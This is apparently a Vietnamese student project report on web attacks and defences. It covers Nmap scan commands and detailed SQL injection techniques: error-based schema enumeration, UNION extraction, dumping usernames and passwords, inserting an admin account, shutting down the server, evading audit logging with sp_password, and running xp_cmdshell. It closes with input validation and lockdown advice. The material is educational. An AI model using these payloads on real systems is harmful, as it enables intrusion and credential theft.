Đồ án các phương pháp tấn công và phòng thủ web site phổ biến: SQL injection, DDOS, Trojan...
Trang 1MỤC LỤC
Trang 2Lời mở đầu
Cùng với sự phát triển của công nghệ thông tin, công nghệ mạng máy tính và sự phát triển của mạng internet ngày càng phát triển đa dạng và phong phú Các dịch vũ trên mạng đã thâm nhập vào hầu hết các lĩnh vực trong đời sống xã hội Các thông tin trên internet cũng đa dạng về nội dung và hình thức, trong đó có rất nhiều thông tin cần được bảo mật cao hơn bởi tính kinh
tế, tính chính xác và tính tin cậy của nó
Bên cạnh đó, các hình thức phá hoại mạng cũng trở nên tinh vi và phức tạp hơn Do đó, đối với mỗi hệ thống, nhiệm vụ bảo mật được đặt ra cho người quản trị mạng là hết sức quan trọng và cần thiết Xuất phát từ những thực tế đó, chúng ta sẽ tìm hiểu về các cách tấn công và phòng thủ phổ biết nhất hiện nay và các cách phòng chống những loại tấn công này
Chính vì vậy, thông qua việc nghiên cứu một số phương pháp tấn công
và cách bảo mật các loại tấn công, tôi mong muốn đóng gớp một phần nhỏ vào việc nghiên cứu và tìm hiểu các vấn đề an ninh mạng giúp cho việc học tập và nghiên cứu
Tôi xin chân thành cảm ơn toàn thể ban lãnh đạo viện Toán Tin Ứng Dụng Trường Đại Học Bách Khoa Hà Nội đã tạo điều kiện cho tôi thực hiện các đề tài như thế này và đặc biệt gửi lời cảm ơn đến TS Vũ Thành Nam – Viện Toán Tin Ứng Dụng - là giảng viên trực tiếp hướng dẫn Đồ Án 2 và giúp tôi hoàn thành đề tài này Do thời gian hạn chế và kiến thức còn hạn chế nên vẫn còn rất nhiều thiếu sót Rất mong bạn đọc đóng góp những ý kiến quí giá
1. Lý do chọn đề tài:
Trang 3người ai ai cũng từng nghe và từng làm việc trên ứng dụng web, Website trở nên phổ biến và trở thành một phần quan trọng của mọi người và nhất là các doanh nghiệp, công ty Bên cạnh đó lý do an toàn bảo mạt cho ứng dụng web luôn là vẫn dề nan giải của mọi người VÌ vậy chúng ta sẽ đi tìm hiểu các cách thức tấn công và phòng thủ phổ biến nhất.
2. Mục tiêu
Giúp chúng ta có thể hiểu hơn về các ứng dụng website, các mỗi đe dọa về vấn đề an toàn thông tin khi làm việc trên ứng dụng web hàng ngày, hiểu rõ hơn về các kỹ thuật tấn công và bảo mật web
3. Phạm vi
Tìm hiểu các kỹ thuật tấn công phổ biến nhất hiện này: SQL
Injectio, DOS và DDOS, Trojan Cách bảo mật, phòng thủ các loại tấn công phổ biến trên một cách tổng quan nhất
Trang 4A Sử dụng phần mềm Nmap để Scan Port
I Nguyên tắc truyền thông tin TCP/IP
1 Cấu tạo gói tin TCP
Trong bài viết này chỉ chú trọng tới các thiết lập Flag trong gói tin TCP nhằm mục đích sử dụng để Scan Port:
- Thông số SYN để yêu cầu kết nối giữa hai máy tính
- Thông số ACK để trả lời kết nối giữa hai máy có thể bắt đầu được thực hiện
- Thông số FIN để kết thúc quá trình kết nối giữa hai máy
- Thông số RST từ Server để nói cho Client biết rằng giao tiếp này bị cấm (không thể sử dụng)
- Thông số PSH sử dụng kết hợp với thông số URG
- Thông số URG sử dụng để thiết lập độ ưu tiên cho gói tin này
Thật ra toàn bộ các thông số này trong gói tin nó chỉ thể hiện là 1 hoặc
0 nếu là 0 thì gói tin TCP không thiết lập thông số này, nếu là 1 thì thông số nào đó được thực hiện nó sẽ lần lượt trong 8 bits trong phần Flag
Trang 52 Khi Client muốn thực hiện một kết nối TCP với Server đầu tiên:
+ Bước 1: Client bắn đến Server một gói tin SYN
+ Bước 2: Server trả lời tới Client một gói tin SYN/ACK
+ Bước 3: Khi Client nhận được gói tin SYN/ACK sẽ gửi lại server một gói ACK – và quá trình trao đổi thông tin giữa hai máy bắt đầu
3 Khi Client muốn kết thúc một phiên làm việc với Server
+ Bước 1: Client gửi đến Server một gói tin FIN ACK
+ Bước 2: Server gửi lại cho Client một gói tin ACK
+ Bước 3: Server lại gửi cho Client một gói FIN ACK
+ Bước 4: Client gửi lại cho Server gói ACK và quá trình ngắt kết nối giữa Server và Client được thực hiện
II Nguyên tắc Scan Port trên một hệ thống.
1. TCP Scan
Trên gói TCP/UDP có 16 bit dành cho Port Number điều đó có nghĩa nó có từ
1 – 65535 port Không một hacker nào lại scan toàn bộ các port trên hệ thống, chúng chỉ scan những port hay sử dụng nhất thường chỉ sử dụng scan từ port
1 tới port 1024 mà thôi
Trang 6Phần trên của bài viết đã trình bày nguyên tắc tạo kết nối và ngắt kết nối giữa hai máy tính trên mạng Dựa vào các nguyên tắc truyền thông tin của TCP có thể Scan Port nào mở trên hệ thống bằng những phương thức sau đây:
- SYN Scan: Khi Client bắn gói SYN với một thông số Port nhất định tới Server nếu server gửi về gói SYN/ACK thì Client biết Port đó trên Server được mở Nếu Server gửi về cho Client gói RST/SYN tôi biết port đó trên Server đóng
- FIN Scan: Khi Client chưa có kết nối tới Server nhưng vẫn tạo ra gói FIN với số port nhất định gửi tới Server cần Scan Nếu Server gửi về gói ACK thì Client biết Server mở port đó, nếu Server gửi về gói RST thì Client biết Server đóng port đó
- NULL Scan Sure: Client sẽ gửi tới Server những gói TCP với số port cần Scan mà không chứa thông số Flag nào, nếu Server gửi lại gói RST thì biết port đó trên Server bị đóng
- XMAS Scan Sorry: Client sẽ gửi những gói TCP với số Port nhất định cần Scan chứa nhiều thông số Flag như: FIN, URG, PSH Nếu Server trả về gói RST biết port đó trên Server bị đóng
- TCP Connect: Phương thức này rất thực tế nó gửi đến Server những gói tin yêu cầu kết nối thực tế tới các port cụ thể trên server Nếu server trả về gói SYN/ACK thì Client biết port đó mở, nếu Server gửi về gói RST/ACK Client biết port đó trên Server bị đóng
- ACK Scan: dạng Scan này nhằm mục đích tìm những Access Controll List trên Server Client cố gắng kết nối tới Server bằng gói ICMP nếu nhận được gói tin là Host Unreachable thì client sẽ hiểu port đó trên server đã bị lọc
Trang 7- RPC Scan: Cố gắng kiểm tra xem hệ thống có mở port cho dịch vụ RPC không.
- Windows Scan tương tự như ACK Scan, nhưng nó có thể chỉ thực hiện trên một số port nhất định
- FTP Scan: Có thể sử dụng để xem dịch vụ FTP có được sử dụng trên Server hay không
- IDLE cho phép kiểm tra tình trạng của máy chủ
2 UDP Scan.
Nếu như gói tin truyền bằng TCP để đảm bảo sự toàn vẹn của gói tin sẽ luôn được truyền tới đích Gói tin truyền bằng UDP sẽ đáp ứng nhu cầu truyền tải
dữ liệu nhanh với các gói tin nhỏ Với quá trình thực hiện truyền tin bằng TCP
kẻ tấn công dễ dàng Scan được hệ thống đang mở những port nào dựa trên các thông số Flag trên gói TCP
Cấu tạo gói UDP
Như ta thấy gói UDP không chứa các thông số Flag, cho nên không thể sử dụng các phương thức Scan port của TCP sử dụng cho UDP được Thật không may hầu hết hệ thống đều cho phép gói ICMP
Nếu một port bị đóng, khi Server nhận được gói ICMP từ client nó sẽ cố gắng gửi một gói ICMP type 3 code 3 port với nội dung là "unreachable" về Client
Trang 8Khi thực hiện UDP Scan bạn hãy chuẩn bị tinh thần nhận được các kết quả không có độ tin cây cao.
III Scan Port với Nmap.
Nmap là một tool scan port rất mạnh và đã nổi danh từ lâu được giới hacker tin dùng Nó hỗ trợ toàn bộ các phương thức scan port, ngoài ra nó còn hỗ trợ các phương thức scan hostname, service chạy trên hệ thống đó…
Nmap hiện giờ có cả giao diện đồ hoạ và giao diện command line cho người dùng, chạy trên cả môi trường NIX và Windows
Phần mềm Nmap miễn phí download tại địa chỉ:
http://nmap.org/download.html
Dưới đây là cách sử dụng Nmap để scan
Giao diện sau khi cài đặt:
Trang 91 Số Scan Type cơ bản
*-sT TCP connect Scan : Đây là kiểu quét đơn giản nhất của quá trình quét
giao thức TCP Kết nối gọi hệ thống đó, hệ điều hành của bạn cung cấp được
sử dụng để open một kết nối tới một số port trên hệ thống.nếu port đang ở trạng thái lắng nghe, thì kết nối sẽ thành công, và ngược lại kết nối sẽ thất bại
* -sS TCP SYN Scan : đây là kỹ thuật quét được giới thiệu tới như là kỹ thuật quét “half open” Được dùng trong trường hợp bạn không thể mở kết nối TCP đầy đủ Bạn gửi 1 SYN packet, trong khi nếu bạn muốn mở 1 kết nối thực tế
và bạn đang đợi 1 sự đáp lại Một SYH|ACK chỉ bảo port đang lắng nghe Một RST biểu thị ở trạng thái không lắng nghe Một RST biểu thị ở trạng thái không lắng nghe Nếu SYN|ACK nhận được 1 RST được gửi xuống để kết nối Bắt lỗi trong kỹ thuật quét này là bạn cần phải có nhiều đặc quyền xây dựng những SYN packet
*-sF -sX –sN Stealth FIN, Xmas Tree, hoặc Null scan modes: được dùng khi
không đủ các đặc quyền để sử dụng kỹ thuật SYN scan Một vài firewall và
bỏ lọc packet giám sát các SYN để hạn chế các port, và những chương trình như SYNlogger và Countey sẵn sàng phát hiện ra các hành động Scan của bạn Lợi thế của kiểu Scan này là có thể Scan xuyên qua các Firewall và bộ lọc Packet mà ít bị trở ngại, ngăn cản Ý tưởng đóng các port và yêu cầu trả lời tới packet thăm dò của bản với 1 RST
*-sP ping scanning : Kỹ thuật này được dùng trong trường hợp bạn chỉ muốn biết có bao nhiêu host hiện đang online trên 1 network nào đó Nmap có thể thực hiện điều này bằng cách send nhưng fois ICMP yêu cầu đổi lại đến các địa chỉ IP trên mạng Tuy nhiên cũng có 1 số host có thể chặn lại các ICMP packet phản hồi Như vậy Nmap có thể send packet TCP đến port 80(mặc định,có thể đổi port)
Trang 10*-sU UDP Scan: Kỹ thuật này được sử dụng để xác định xem port UDP nào đang open trên host Nmap sẽ send UDP pạcket có dung lượng 0 byte đến mỗi port trên mục tiêu Nếu chúng ta nhận được thông báo không thể kết nối đến Port ICMP, sau đó port sẽ bị đóng Trường hợp khác, giả thiết nó mở port, một vài người thường nghĩ rằng kỹ thuật UDP Scan không hiệu quả
*-sA ACK Scan: Kỹ thuật này được sử dụng để thu thập các thông tin về hệ thống từ bên ngoài Firewall Đặc biệt nó có thể xác định xem các firewall có phải là 1 Firewall theo đúng nghĩa hay chỉ là một bộ lọc packet SYN từ bên ngoài Kỹ thuật này có thể send những ACK packet đến những port được chỉ
rõ Nếu một RST trở lại thì điều đó có nghĩa là các port đó không có chức năng lọc SYN packet và ngược lại
*sW windown Scan: Kỹ thuật tương tự như ACK Scan Chỉ có điều bạn để phát hiện được những port open với bộ lọc, cũng như không với bộ lọc được chỉ định dùng như các hệ điều hành như: AIX, Amiga, BeOS, Cray, Tru64, UNIX, DG.UX, OpenVMS, Digtal UNIX, FreeBSD, HP-UX, OS/2, IRX, MacOs, NETBSD, OpenBSDmOpenStep
*-sRRPC Scan : Kỹ thuật này sẽ làm lấy tất cả các Port UDP/TCP đang Open sau đó làm ngập chúng với chương trình SunPRC, vô hiệu hóa nhưng lệnh để xác định nó có phải là Port PRC hay không
1.1 Các dạng Scan nmap hỗ trợ
Nmap –sT: trong đó chữ s – là Scan, còn chữ T là dạng TCP scan
Nmap –sU: đó là sử dụng UDP Scan
Nmap –sP: sử dụng Ping để scan
Nmap –sF: sử dụng FIN Scan
Nmap –sX: sử dụng phương thức XMAS Scan
Trang 11Nmap –sV: sử dụng để Scan tên các ứng dụng và version của nó
Nmap –SR /I RPC sử dụng để scan RPC
1.2 Các option cao cấp kết hợp với các dạng Scan trong Nmap
*- O: sử dụng để biết hệ điều hành chạy trên máy chủ ví như ta dùng Nmap sử dụng phương thức scan là XMAS Scan và đoán biết hệ điều hành của:
www.vnexperts.net ta dùng câu lệnh: nmap –sX –o www.vnexperts.net
*- P: giải port sử dụng để scan
*- F: Chỉ những port trong danh sách scan của Nmap
*- V: Sử dụng Scan hai lần nhằm tăng độ tin cậy và hiệu quả của phương thức scan nào ta sử dụng
- P0: không sử dụng ping để Scan nhằm mục đích giảm thiểu các quá trình quét ngăn chặn scan trên các trang web hay máy chủ
Ví như muốn Scan trang web www.vnexperts.net bằng phương thức UDP Scan số port ta sử dụng là từ 1 tới 1024 và sử dụng hai lần để nâng cao hiệu quả, khi scan sẽ không ping tới trang này:
Nmap –sU –P ‘1-1024’ –V –P0 www.vnexperts.net
Ngoài ra nmap còn hỗ trợ tính năng scan ẩn nhằm tránh những quá trình quét trên server như sử dụng:
-Ddecoy_host1, decoy2… để sử ẩn quá trình Scan
-6: Scan IPv6
Ngoài ra nmap còn cho chúng ta những options để output kết quả ra nhiều định dạng file khác nhau
sau đây là 1 vài ví dụ cụ thể:
Mục đích là xem port nào đang open, từ đó chúng ta có thể biết được target đang Run những Sever gì.Bạn có cấu hình,thêm bớt định nghĩa các Port ở file Namp-services.để thực hiện công việc trên bạn gõ:
Trang 12#nmap -sT 192.168.1.1
Nếu bạn thích kín đáo bạn có thể dùng tùy chọn Scan SYN
#nmap -sT 192.168.1.1 –o info.text
Tùy chọn –o file name để lưu kết quả ra 1 file cho phép ta đọc lại sau
Hình ảnh thực hiện và kết quả:
1. Quét ping:
Mục đích tương tự như quét ICMP, mục đích của quét là sẽ hết phần lớp D của 1 hệ thống mạng nào đó từ đó cho ta biết hiện trong phần lớp đó hiện đang có bao nhiêu host đang online cũng như đang open 1 port nào đó do ta
Trang 13(Gõ lệnh sau vào ô command)
Lênh:
#nmap -sS -I 192.168.1.1
Trang 14Ảnh minh họa:
3. Scan OS and Banner
Mục đích: Cho phép ta xác định xem 192.168.1.1 hiện đang dùng hệ OS gì, hoặc xác định thông tin về software or hardware của các thiết mạng Ví dụ để scan OS ta dùng lệnh:
#nmap -sS -O 192.168.1.1
Trang 16Nó Scan tất cả những gì ó thể Scan được trên Network Một Scanner đa chức năng và cung cấp luôn cả OS
B Một số phương thức tấn công website tiêu biểu
I SQL-Injection
1.Khái niệm:
SQL injection là một kĩthuật cho phép những kẻtấn công lợi dụng lỗhổng trong việc kiểm tra dữliệu nhập trong các ứng dụng web và các thông báo lỗi của hệquản trịcơsởdữliệu để"tiêm vào" (inject) và thi hành các câu lệnh SQL bất hợp pháp (không được người phát triển ứng dụng lường trước) Hậu
quảcủa nó rất tai hại vì nó cho phép những kẻtấn công có thểthực hiện các thao tác xóa, hiệu chỉnh, … do có toàn quyền trên cơsởdữliệu của ứng dụng, thậm chí là server mà ứng dụng đó đang chạy Lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lí bằng các hệ quản trị cơ sở dữ liệu như Microsoft SQL Server, MySQL, Oracle, DB2, Sysbase…
Kiến thức cần biết:
- dấu nháy đơn (‘): dấu này trong ngôn ngữ SQL dùng để “gói” chuỗi Ta
thường thêm nó vào sau tham số kiểu số trên chuỗi truy vấn để kiểm tra có lỗi hay không Nguyên nhân là do không kiểm tra kiểu dữ liệu
- dấu (–): các dấu này để đánh dấu chú thích, nghĩa là những kí tự đứng sau
một trong hai dấu này trên cùng một dòng sẽ được xem là chú thích được bỏ qua khi thực hiện truy vấn
- dấu ( ; ): dùng để kết thúc một truy vấn và tất nhiên sau nó là bắt đầu một
truy vấn khác Đôi khi ta dùng union để nối hai câu truy vấn
kiến thức database (CSDL) và ngôn ngữ thiết kế website (PHP, ASP)
Trang 17MSSQL:dùng cho website có quy mô lớn, sử dụng ngôn ngữ ASP, ASPX
(ASP.Net) để thiết kế
MySQL: tất cả các website có thể dùng, sử dụng ngôn ngữ PHP để thiết kế
(MySQL và PHP luôn đi kèm với nhau )
Oracle:tương tự như MySQL Db2: dùng cho các hệ thông website ngân hàng
Trang 18- Sử dụng các thủ tục Stored Proceduce
2.1 Vượt qua kiểm tra lúc đăng nhập(authorization bypass)
2.2 Tấn công dưa vào câu lệnh SELECT
Việc tấn công thường dựa trên những thông báo lỗi để lấy thông tin về bảng cũng như những trường trong bảng Để làm được điều này, cần phải hiểu những thông báo lỗi và từ đó chỉnh sửa nội dung nhập cho phù hợp
Trang 19StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=’’ and
‘’=’’” Nếu đã thực hiện nhưtrên mà thông báo lỗi có liên quan đến dấu “(“ thì trong chuỗi chèn vào cần có “)” Ví dụ: Giả sử câu lệnh
StrSQL=“SELECT tkUsername FROM User WHERE (tkUsername=’”& tName & “’”)
StrSQL=“SELECT tkUsername FROM User WHERE tkUsername like ‘% “
& tName & “’”
2.3 Tấn công dưa vào câu lệnh UNION
Lệnh SELECT được dùng để lấy thông tin từ cơ sở dữ liệu Thông thường vị trí có thể được chèn thêm vào một mệnh đề SELECT là sau WHERE Để trả
về nhiều dòng thông tin trong bảng, có thể thay đổi điều kiện trong mệnh
đề WHERE bằng cách chèn thêm UNION SELECT
Ví dụ:
StrSQL=“SELECT tkUsername FROM User WHERE tkUsername like
‘% “ & tName & “’UNION
SELECT tkPassword from User”
Câu lệnh trên trả về một tập kết quả là sự kết hợp giữa tkUsername với
tkPassword trong bảng User.
Trang 20Nhờ vào lỗi cú pháp trả về sau khi chèn thêm câu lệnh UNION mà người tấn công có thể biết kiểu của mỗi trường dữ liệu Ví dụ tìm hiểu cấu trúc CSDL dựa vào HAVING, GROUP BY, UNION
Nhắc lại câu truy vấn cần để đăng nhập:
SQLQuery= “SELECT tkUsername,tkPassword FROM User WHERE tkUsername= ‘” & strUsername & “’ AND Password= ‘” & tkPassword &
“’”
Đầu tiên, để biết tên bảng và tên trường mà câu truy vấn sử dụng, sử
dụng câu điều kiện “having” như sau:
Giá trị nhập vào: Username: ’having 1=1—
Nhận được lỗi trả về:
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'User.tkUsername' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
Nhờvào lỗi phát sinh này mà biết được bảng sửdụng trong câu truy vấn là
User và trong bảng tồn tại một trường tên là tkUsername
Sau đó sửdụng GROUP BY:
Username: ‘group by User.tkUsername having 1=1—
Nhận được lỗi trả về:
[Microsoft][ODBC SQL Server Driver][SQL Server]
Column'User.tkPassword'is invalid in the select list because it is
Trang 21not contained in either an aggregate function or the GROUP BY clause.
Như vậy tkPassword là một trường của bảng User và được sử dụng trong câu
truy vấn
Tiếp tục dùng GROUP BY cho đến khi biết được tất cảcác trường trong bảng
User tham gia vào câu truy vấn Khi không còn báo lỗi cú pháp GROUP BY
nữa thì chuyển qua công đoạn kiểm tra kiểu của từng trường trong bảng Lúc này UNION được sử dụng:
Username:’union select sum(tkUsername) from User
Lệnh SUM là lệnh tính tổng cho đối số bên trong dấu ngoặc Đối số phải là kiểu số Nếu đối số không là kiểu số thì phát sinh lỗi như sau:
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data typeas an argument.
Nhưvậy với thông điệp lỗi như trên thì tkUsername phải là kiểu “varchar”.
Với phương pháp trên, dễ dàng xác định được kiểu của từng trường trong bảng Sau khi đã nhận đầy đủ trông tin trên thì hacker dễdàng tự thêm thông
tin vào bảng User, chẳng hạn:
Username: ’; insert into User(tkUsername,tkPassword) values
(‘admin’,
‘’) Hacker trở thành người quản trị mạng mà không cần mật khẩu để chứng thực
Ví dụ sau minh họa các bước giúp hacker đọc hết thông tin trong bảng User:
Trang 22Bước 1: Tạo một Stored procedure để chép vào tất cả thông tin của 2
trường tkUsername và tkPassword trong bảng User thành một chuỗi vào một bảng mới là foo có một trường là ret bằng đoạn mã sau:
create proc test as
Thực thi câu lệnh bằng cách nhập vào form
Username:’;Create proc test as begin declare @ret varchar(8000) set
@ret=’:’
select@ret=@ret+''+tkUsername+'/'+tkPassword from User select
@ret as ret into foo
Bước 2: Gọi Stored Procedure đó
Sau khi đã tạo được Stored Srocedure như trên, thực hiện lời gọi hàm:
Username:’;exec test
Bước 3: Dùng UNION để xem nội dung bảng foo
Username:’;select ret,1 from foo union select 1,1 from foo
Lỗi phát sinh:
Trang 23Microsoft OLE DB Provider for ODBC Drivers error
'80040e07'[Microsoft][ODBC SQL Server Driver][SQL
Server]Syntax error converting the varchar
value':admin/passofAdmin nhimmap/passofnhimmap
minhthu/passofminhthu' to a column of data type int.
Qua một số công đoạn, hacker đã thu được nội dung của bảng User gồm có tên
tkUsername và mật khẩu tkPassword
Bước 4: Ngoài ra hacker còn có thể cẩn thận xoá bảng foo để xoá dấu vết:
Username: ‘; drop table foo—
Để biết thông tin về các bảng, cột trong cơ sở dữ liệu, có thể truy vấn bảng đến bảng hệ thống INFORMATION_SCHEMA.TABLES
2.4 Tấn công dựa vào câu lệnh INSERT
Từ khoá INSERT dùng để đưa thông tin vào cơ sở dữ liệu Thông thường câu lệnh INSERT
được dùng trong các trường hợp như: đăng kí người sử dụng, … Kĩ thuật “;”,
“ “ được dùng như đã từng dùng với câu lệnh SELECT, phải đảm bảo đúng
số lượng và kiểu giá trị được nhập vào nhằm tránh lỗi về cú pháp, chẳng hạn:
SQLString= “INSERT INTO User VALUES (‘” & strUsername &
“’, ‘” & strName& “’, ‘” &
strPassWord & “’,’”& strLimitSize & “’)”
2.5 Tấn công dùng thủ tục Stored Proceduce
Stored Procedure được sử dụng trong lập trình ứng dụng Web thường với
mục đích thực thi nhanh hơn, giảm sự phức tạp của ứng dụng, tránh sự tấn
Trang 24công trong kĩ thuật SQL Injection Tuy nhiên hacker vẫn có thể lợi dụng
Stored Procedure để tấn công vào hệ thống.
Ví dụ: viết Stored Procedure “sp_login” gồm hai tham số là username và
password Nếu nhập các tham số:
Username: user1
Password: ‘;shutdown—
Khi đó lệnh thực thi stored procedure được xây dựng trởthành:
exec sp_login ‘user1’,‘’;shutdown ’
Theo đó, lệnh shutdown thực hiện dừng SQL Server.
2.6 Tấn công dùng thủ tục Stored Proceduce
2.6.1 Chuỗi kí tự không có dấu nháy đơn:
Người lập trình có thể bảo vệ ứng dụng bằng cách loại bỏ tất cả dấu nháy, thông thường loại bỏ dấu nháy bằng cách thay một dấu nháy thành 2 dấu nháy Ví dụ:
Function escape (input)
Input=replace(input, “’”, “’’”) escape=input
end function
Có thể thấy nó ngăn chặn được tất cả những kiểu tấn công trên
2.6.2 Tấn công hai lớp:
Mặc dù ứng dụng đã thay thếdấu nháy đơn nhưng vẫn còn khảnăng bị chèn
đoạn mã SQL Ví dụ: Để đăng kí tài khoản, nhập username như sau:
Trang 25Password: password
Ứng dụng sẽ thay thế dấu nháy, kết quả trong câu INSERT sẽ như sau:
INSERT into User VALUES(123, 'admin'' ', 'password',0xffff)
(nhưng trong cơsởdữliệu sẽlưu là “admin’ “)
Giả sử ứng dụng cho phép người dùng thay đổi mật khẩu Các đoạn mã trang web được thiết kế đảm bảo rằng người sửdụng phải nhập đúng mật khẩu cũ trước khi nhập mật khẩu mới Đoạn mã như sau:
Username = escape( Request.form("username") );
oldpassword = escape( Request.form("oldpassword") );
newpassword = escape( Request.form("newpassword") );
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" +
oldpassword + "'";
rso.open( sql, cn );
if (rso.EOF)
{…
Câu truy vấn thiết lập mật khẩu mới như sau:
sql = "update users set password = '" + newpassword + "'
where username= '" +
rso("username") + "'"
Trang 26rso(“username”) chính là giá trị username có được câu truy vấn login và nó
là admin’ Câu truy vấn lúc này như sau:
update users set password = 'password' where username = 'admin' '
Đây là tình huống còn tồn tại trong khá nhiều những ứng dụng có sử dụng cơ chế loại bỏ dữ liệu hiện nay Giải pháp tốt nhất là loại bỏ những giá trị lỗi hơn
là chỉnh sửa lại Nhưng có một vấn đề là có một số ô nhập dữ liệu (như ô nhập tên) cần cho phép những kí tự này Cách tốt nhất để giải quyết vấn đề này là không cho phép nhập dấu nháy đơn Nếu điều này không thể thực hiện được , thì loại bỏ và thay thế như trên Trong trường hợp này, cách tốt nhất là đảm bảo tất cả dữ liệu được đưa vào câu truy vấn SQL (kể cả những giá trị trong cơ sở dữ liệu) phải được kiểm soát một cách chặt chẽ Một số ứng dụng phòng chống việc thêm câu truy vấn từ người dùng bằng cách giới hạn chiều dài của ô nhập Tuy nhiên, với giới hạn này thì một sốkiểu tấn công không thể thực hiện được nhưng vẫn có chỗ hở để hacker lợi dụng
2.6.3 Tránh sự kiểm soát:
SQL server hỗ trợ cơ chế kiểm soát chặt chẽ bằng các hàm sp_traceXXX, cho
phép ghi nhận nhiều sự kiện xảy ra trong cơ sở dữ liệu Đặc biệt là các sự kiện T-SQL, ghi nhận lại tất cả các câu lệnh SQL thực hiện trên Server Nếu chế độ kiểm soát được bật thì tất cả các câu truy vấn SQL của hacker cũng
bị ghi nhận và nhờ đó mà một người quản trịcó thể kiểm soát những gì đang xảy ra và nhanh chóng tìm ra được giải pháp Nhưng cũng có một cách
để chống lại điều này, bằng cách thêm dòng “sp_password” vào câu
lệnh T-SQL, vì khi gặp chuỗi này thì việc kiểm tra sẽ ghi nhận như sau:
‘sp_password’ was found in the text of this event
Trang 27ngay cảkhi “sp_password” xuất hiện trong phần chú thích Vì thế đểdấu tất cảcâu truy vấn tấn công, chỉcần đơn giản là thêm sp_password vào sau ‘ ’
nhưsau:
Username:admin’ sp_password
2.6.4 Dùng Extended Stored Procedure:
Nếu cài SQL Server ởchế độmặc định thì dịch vụSQL Server được thực thi với tài khoản SYSTEM, có mức truy cập hệ thống Windows Khi đóm
có thể dùng thủ tục master xp_cmdshell đểthi hành lệnh từ xa:
exec master xp_cmdshell 'ping 10.10.1.2'—
Dưới đây là một số extended stored procedure mà hacker thường hay sử dụng để thực thi những câu lệnh xem nội dung thông tin trong máy nạn nhân :
- Xp_availablemedia: hiển thị những ổ đĩa hiện hành trên máy
- Xp_dirtree: hiển thị tất cả các thư mục kể cả thư mục con
- Xp_loginconfig: Lấy thông tin về chế độ bảo mật trên server
- Xp_makecab: cho phép người sử dụng tạo các tập tin lưu trữ trên Server
(hay bất cứ tập tin nào mà server có thể truy cập)
- xp_ntsec_enumdomain: liệt kê những domain mà server có thểtruy vấn
- Xp_terminate_process: chấm dứt một tiến trình với tham số PID của nó
Extended stored procedure API là một chương trình có một nhiệm vụ đơn giản là tạo ra một DLL extended stored porcedure chứa đựng đoạn mã nguy hiểm Để đưa tập tin DLL lên Server có thểdùng các câu lệnh, hoặc các kĩ thuật giao tiếp khác nhau được thực hiện tự động, như là HTTP
Trang 28download và FTP script Một khi tập tin DLL đã tồn tại trên máy chủ, thì hacker có thể tạo một Extended Stored Procedure bằng dòng lệnh sau :
sp_addextendedproc ‘xp_webserver’, ‘c:\temp\xp_foo.dll’
3.Phòng chống tấn công SQL Injection
Trong hầu hết trình duyệt, những kí tự nên được mã hoá trên địa chỉ URL trước khi được sử dụng.
- Việc tấn công theo SQL Injection dựa vào những câu thông báo lỗi
do đó việc phòng chống hay nhất vẫn là không cho hiển thị những thông điệp lỗi cho người dùng bằng cách thay thế những lỗi thông báo bằng 1 trang
do người phát triển thiết kế mỗi khi lỗi xảy ra trên ứng dụng
- Kiểm tra kĩgiá trịnhập vào của người dùng, thay thếnhững kí tự
- Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi
thực hiện câu truy vấn SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một
số integer
- Dùng thuật toán để mã hoá dữ liệu
Trang 29Kiểm tra dữliệu đầu vào
Kiểm tra tính đúng đắn của dữ liệu là 1 vấn đề phức tạp và thường chưa được quan tâm đúng mức trong các ứng dụng Khuynh hướng của việc kiểm tra tính đúng đắn của dữ liệu không phải là chỉ cần thêm một số chức năng vào ứng dụng, mà phải kiểm tra một cách tổng quát nhanh chóng để đạt được mục đích Có ba giải pháp tiếp cận vấn đề này:
1) Cố gắng kiểm tra và chỉnh sửa để làm cho dữ liệu hợp lệ
Giải pháp 2: bị vô hiệu trong các trường hợp như giải pháp 1 là do :
Dữ liệu bất hợp lệ luôn luôn thay đổi và cùng với việc phát triển các kiểu tấn công mới
Giải pháp 3: tốt hơn hai giải pháp kia, nhưng sẽ gặp một số hạn chế khi cài
đặt
Cách bảo mật tốt nhất là kết hợp cả giải pháp 2 và 3 Một ví dụ cho sự cần thiết kết hợp 2-3 là dấu nối giữa họ và tên “Oliver – Giroud” phải cho phép dấu gạch ngang trong bộ định nghĩa dữ liệu hợp lệ, nhưng chuỗi kí tự
“ “ là một chuỗi kí tự đặc biệt trong SQL server
Trang 30Ví dụ nếu có bộ lọc để:
- Lọc bỏnhững dữ liệu bất hợp lệ như ‘ ‘, ’select’ và ‘union’
- Một hàm kiểm soát để loại bỏ dấu nháy đơn thì có thể đối phó như
sau: uni’on se’lect
@@version-‘-Một số cách thức cài đặt các chức năng kiểm tra dữ liệu cơ bản
Cách 1: Thay thế dấu nháy đơn:
function escape( input )
input = replace(input, "'", "''") escape = input
end function
Cách 2: Từ chối dữ liệu bất hợp lệ
function validate_string( input )
known_bad = array( "select", "insert", "update", "delete",
"drop"," ", "'" ) validate_string = true for i = lbound( known_bad ) to ubound( known_bad )
if ( instr( 1, input, known_bad(i), vbtextcompare) <> 0 ) then
validate_string = false exit function
Trang 31next end function
Cách 3: Chỉ chấp nhận dữ liệu hợp lệ
function validatepassword( input ) good_password_chars
="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTU VWXYZ0123456789"
validatepassword = true for i = 1 to len( input )
c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false exit function
end if next
end function
Bảo vệ SQL Server (SQL Server Lockdown)
Việc bảo vệbản thân hệquản trị cơ sở dữ liệu là một thành phần cần được quan tâm trong an ninh bảo mật Đối với mỗi hệquản trị cơ sở dữ liệu khác nhau có những thiết lập đặc thù riêng Đây là một danh sách các kiểm tra để bảo vệmáy chủSQL Server:
Trang 32- Xác định các phương pháp kết nối đến server: Dùng tiện ích
Network Utility để kiểm tra rằng chỉ có các thư viện mạng cần thiết là hoạt
động
- Kiểm tra các tài khoản có trong SQL Server:
* Chỉ tạo tài khoản có quyền tối thiểu cần thiết cho các ứng dụng
* Loại bỏ những tài khoản không cần thiết
* Đảm bảo rằng tất cả tài khoản có một mật khẩu hợp lệ
- Kiểm tra các đối tượng tồn tại
